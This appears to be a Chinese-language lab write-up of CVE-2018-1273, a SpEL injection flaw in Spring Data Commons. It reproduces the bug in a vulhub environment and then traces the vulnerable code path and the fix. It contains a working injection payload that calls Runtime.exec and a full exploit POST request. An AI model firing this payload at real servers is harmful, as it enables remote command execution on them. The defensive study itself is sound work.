漏洞概要
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。
Spring Data Commons是Spring Data下所有子项目共享的基础框架。
Spring Data Commons在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
环境搭建
使用vulhub上的环境
运行成功
漏洞复现
payload
1
| username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/test")]=&password=&repeatedPassword=
|
POST数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /users?page=&size=5 HTTP/1.1 Host: 192.168.111.133:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 155 Origin: http://192.168.111.133:8080 Connection: close Referer: http://192.168.111.133:8080/users?page=&size=5 Upgrade-Insecure-Requests: 1
username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22touch+%2Ftmp%2Ftest%22%29%5D=&password=&repeatedPassword=
|
发送payload
成功创建文件
1
| docker-compose exec spring bash
|
漏洞分析
1.
web/example/src/main/java/example/users/web/UserController
register()函数对应上面的注册功能,使用POST方式获取用户表单参数数据
2.
register函数中包含表单提交操作,Form表单的提交操作会调用到ProxyingHandlerMethodArgumentResolver
,而ProxyingHandlerMethodArgumentResolver
中实例化了MapDataBinder
,并调用了bind
方法。request.getParameterMap()
就是传入的参数
1 2 3 4 5 6 7 8 9 10
| public class ProxyingHandlerMethodArgumentResolver extends ModelAttributeMethodProcessor implements BeanFactoryAware, BeanClassLoaderAware { protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,NativeWebRequest request) throws Exception {
MapDataBinder binder = new MapDataBinder(parameter.getParameterType(),conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap())); return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}
|
3.
bind方法之后的调用链
1
| bind->doBind->super.doBind->applyPropertyValues->this.getPropertyAccessor().setPropertyValues
|
4.
org.springframework.data.web.MapDataBinder
- 调用isWritableProperty()检验传入的propertyName参数
- 创建StandardEvaluationContext,调用PARSER.parseExpression(),参数为传入的proertyName
- 调用expression.setValue()进行SpEL表达式解析
实际调用getPropertyPath
正则匹配传入参数[]
中的内容并替换为空,然后和this.type一起作为参数进入PropertyPath.form
判断替换过后的内容是否是type中的属性,type就是在Controller处用到的用于接收参数的类。
漏洞修复
将StandardEvaluationContext替换为SimpleEvaluationContext,因为SimpleEvaluationContext权限更小,在解析SpEL表达式时无法使用Runtime.class执行任何系统命令
参考
https://threedr3am.github.io/2019/03/24/Spring-Data-Commons%20CVE-2018-1273%20RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
https://xz.aliyun.com/t/2269
https://www.mi1k7ea.com/2020/02/03/%E6%B5%85%E6%9E%90Spring-Data-Commons%E4%B9%8BCVE-2018-1273/
https://vulhub.org/#/environments/spring/CVE-2018-1273/
https://xz.aliyun.com/t/2269
https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/
https://www.cnblogs.com/Found404/p/14202543.html